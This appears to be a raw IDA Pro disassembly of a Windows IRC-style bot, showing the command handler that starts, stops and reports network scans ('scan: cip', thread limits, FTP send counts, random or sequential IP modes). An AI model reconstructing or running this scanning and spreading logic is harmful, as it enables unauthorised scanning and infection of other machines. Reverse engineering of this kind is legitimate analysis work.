		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F9B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB60[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8380
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44965F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445428
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445428


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5F74D1
		mov	eax, dword_445428
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445430


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5F74D1
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5F74D1
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445428
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445428
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445428[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455F4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455F0
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D809D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455F0
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455F4
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455F0
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D809D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44540Ah[eax*4]
		push	ecx
